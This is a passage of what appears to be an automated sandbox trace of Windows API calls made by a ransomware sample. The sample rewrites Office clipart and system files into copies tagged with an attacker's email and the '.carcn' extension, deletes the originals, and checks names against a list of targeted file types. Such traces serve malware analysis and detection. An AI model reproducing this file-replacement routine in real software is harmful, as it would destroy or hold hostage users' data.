db\\oledbvbs.inc.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.436] lstrlenW (lpString=".doc") returned 4 [0255.436] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.436] lstrlenW (lpString=".docx") returned 5 [0255.436] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.436] lstrlenW (lpString=".pdf") returned 4 [0255.436] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.436] lstrlenW (lpString=".xls") returned 4 [0255.436] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.436] lstrlenW (lpString=".xlsx") returned 5 [0255.436] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.436] lstrlenW (lpString=".ppt") returned 4 [0255.436] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.436] lstrlenW (lpString=".zip") returned 4 [0255.436] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.436] lstrlenW (lpString=".rar") returned 4 [0255.436] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.436] lstrlenW (lpString=".bz2") returned 4 [0255.436] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.436] lstrlenW (lpString=".7z") returned 3 [0255.436] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.436] lstrlenW (lpString=".dbf") returned 4 [0255.436] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.436] lstrlenW (lpString=".1cd") returned 4 [0255.436] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.436] lstrlenW (lpString=".jpg") returned 4 [0255.436] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.437] lstrlenW (lpString=".doc") returned 4 [0255.437] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0255.437] lstrlenW (lpString=".docx") returned 5 [0255.437] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0255.437] lstrlenW (lpString=".pdf") returned 4 [0255.437] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0255.437] lstrlenW (lpString=".xls") returned 4 [0255.437] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0255.437] lstrlenW (lpString=".xlsx") returned 5 [0255.437] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0255.437] lstrlenW (lpString=".ppt") returned 4 [0255.437] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0255.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.437] lstrlenW (lpString=".zip") returned 4 [0255.437] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0255.437] lstrlenW (lpString=".rar") returned 4 [0255.437] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0255.437] lstrlenW (lpString=".bz2") returned 4 [0255.438] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0255.438] lstrlenW (lpString=".7z") returned 3 [0255.438] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0255.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.438] lstrlenW (lpString=".dbf") returned 4 [0255.438] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0255.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.438] lstrlenW (lpString=".1cd") returned 4 [0255.438] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0255.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0255.438] lstrlenW (lpString=".jpg") returned 4 [0255.438] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0255.438] Sleep (dwMilliseconds=0x64) [0255.717] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0255.717] lstrlenW (lpString="AG00157_.GIF") returned 12 [0255.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0256.128] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=4955) returned 1 [0256.128] CloseHandle (hObject=0x41c) returned 1 [0256.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0257.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0257.115] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.115] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0257.123] GetLastError () returned 0x0 [0257.123] ReadFile (in: hFile=0x498, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x135b, lpOverlapped=0x0) returned 1 [0257.206] WriteFile (in: hFile=0x4a0, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1360, lpOverlapped=0x0) returned 1 [0257.208] ReadFile (in: hFile=0x498, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.208] WriteFile (in: hFile=0x4a0, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.208] SetEndOfFile (hFile=0x4a0) returned 1 [0257.208] CloseHandle (hObject=0x4a0) returned 1 [0257.209] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.209] SetEndOfFile (hFile=0x498) returned 1 [0257.212] CloseHandle (hObject=0x498) returned 1 [0257.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0257.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.213] lstrlenW (lpString=".doc") returned 4 [0257.213] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.214] lstrlenW (lpString=".docx") returned 5 [0257.214] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.214] lstrlenW (lpString=".pdf") returned 4 [0257.214] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.214] lstrlenW (lpString=".xls") returned 4 [0257.214] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.214] lstrlenW (lpString=".xlsx") returned 5 [0257.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.214] lstrlenW (lpString=".ppt") returned 4 [0257.214] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.214] lstrlenW (lpString=".zip") returned 4 [0257.214] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.214] lstrlenW (lpString=".rar") returned 4 [0257.214] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.214] lstrlenW (lpString=".bz2") returned 4 [0257.214] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.214] lstrlenW (lpString=".7z") returned 3 [0257.214] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.214] lstrlenW (lpString=".dbf") returned 4 [0257.214] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.214] lstrlenW (lpString=".1cd") returned 4 [0257.214] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.214] lstrlenW (lpString=".jpg") returned 4 [0257.215] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.215] lstrlenW (lpString=".doc") returned 4 [0257.215] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.215] lstrlenW (lpString=".docx") returned 5 [0257.215] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.215] lstrlenW (lpString=".pdf") returned 4 [0257.215] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.215] lstrlenW (lpString=".xls") returned 4 [0257.215] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.215] lstrlenW (lpString=".xlsx") returned 5 [0257.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.215] lstrlenW (lpString=".ppt") returned 4 [0257.215] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.215] lstrlenW (lpString=".zip") returned 4 [0257.215] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.215] lstrlenW (lpString=".rar") returned 4 [0257.215] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.215] lstrlenW (lpString=".bz2") returned 4 [0257.215] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.215] lstrlenW (lpString=".7z") returned 3 [0257.215] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.216] lstrlenW (lpString=".dbf") returned 4 [0257.216] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.216] lstrlenW (lpString=".1cd") returned 4 [0257.216] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0257.216] lstrlenW (lpString=".jpg") returned 4 [0257.216] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.216] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.216] lstrlenW (lpString="AG00169_.GIF") returned 12 [0257.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.230] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=5375) returned 1 [0257.230] CloseHandle (hObject=0x33c) returned 1 [0257.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0257.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.231] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.231] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0257.231] GetLastError () returned 0x0 [0257.231] ReadFile (in: hFile=0x33c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x14ff, lpOverlapped=0x0) returned 1 [0257.264] WriteFile (in: hFile=0x494, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1500, lpOverlapped=0x0) returned 1 [0257.265] ReadFile (in: hFile=0x33c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.265] WriteFile (in: hFile=0x494, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.265] SetEndOfFile (hFile=0x494) returned 1 [0257.265] CloseHandle (hObject=0x494) returned 1 [0257.268] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.268] SetEndOfFile (hFile=0x33c) returned 1 [0257.270] CloseHandle (hObject=0x33c) returned 1 [0257.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0257.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.271] lstrlenW (lpString=".doc") returned 4 [0257.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.271] lstrlenW (lpString=".docx") returned 5 [0257.272] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.272] lstrlenW (lpString=".pdf") returned 4 [0257.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.272] lstrlenW (lpString=".xls") returned 4 [0257.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.272] lstrlenW (lpString=".xlsx") returned 5 [0257.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.272] lstrlenW (lpString=".ppt") returned 4 [0257.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.272] lstrlenW (lpString=".zip") returned 4 [0257.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.272] lstrlenW (lpString=".rar") returned 4 [0257.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.272] lstrlenW (lpString=".bz2") returned 4 [0257.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.272] lstrlenW (lpString=".7z") returned 3 [0257.272] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.272] lstrlenW (lpString=".dbf") returned 4 [0257.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.272] lstrlenW (lpString=".1cd") returned 4 [0257.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.272] lstrlenW (lpString=".jpg") returned 4 [0257.272] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.273] lstrlenW (lpString=".doc") returned 4 [0257.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0257.273] lstrlenW (lpString=".docx") returned 5 [0257.273] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0257.273] lstrlenW (lpString=".pdf") returned 4 [0257.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0257.273] lstrlenW (lpString=".xls") returned 4 [0257.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0257.273] lstrlenW (lpString=".xlsx") returned 5 [0257.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0257.273] lstrlenW (lpString=".ppt") returned 4 [0257.273] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0257.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.273] lstrlenW (lpString=".zip") returned 4 [0257.273] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0257.273] lstrlenW (lpString=".rar") returned 4 [0257.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0257.273] lstrlenW (lpString=".bz2") returned 4 [0257.273] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0257.273] lstrlenW (lpString=".7z") returned 3 [0257.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0257.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.273] lstrlenW (lpString=".dbf") returned 4 [0257.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0257.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.273] lstrlenW (lpString=".1cd") returned 4 [0257.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0257.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0257.273] lstrlenW (lpString=".jpg") returned 4 [0257.273] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0257.274] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0257.274] lstrlenW (lpString="AG00174_.GIF") returned 12 [0257.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.275] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=3966) returned 1 [0257.275] CloseHandle (hObject=0x33c) returned 1 [0257.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0257.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0257.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0257.275] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.275] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0257.276] GetLastError () returned 0x0 [0257.276] ReadFile (in: hFile=0x33c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0257.363] WriteFile (in: hFile=0x494, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xf80, lpOverlapped=0x0) returned 1 [0257.365] ReadFile (in: hFile=0x33c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.365] WriteFile (in: hFile=0x494, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.365] SetEndOfFile (hFile=0x494) returned 1 [0257.365] CloseHandle (hObject=0x494) returned 1 [0257.368] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.368] SetEndOfFile (hFile=0x33c) returned 1 [0257.375] CloseHandle (hObject=0x33c) returned 1 [0257.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0257.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0257.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0257.377] lstrlenW (lpString=".doc") returned 4 [0257.377] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 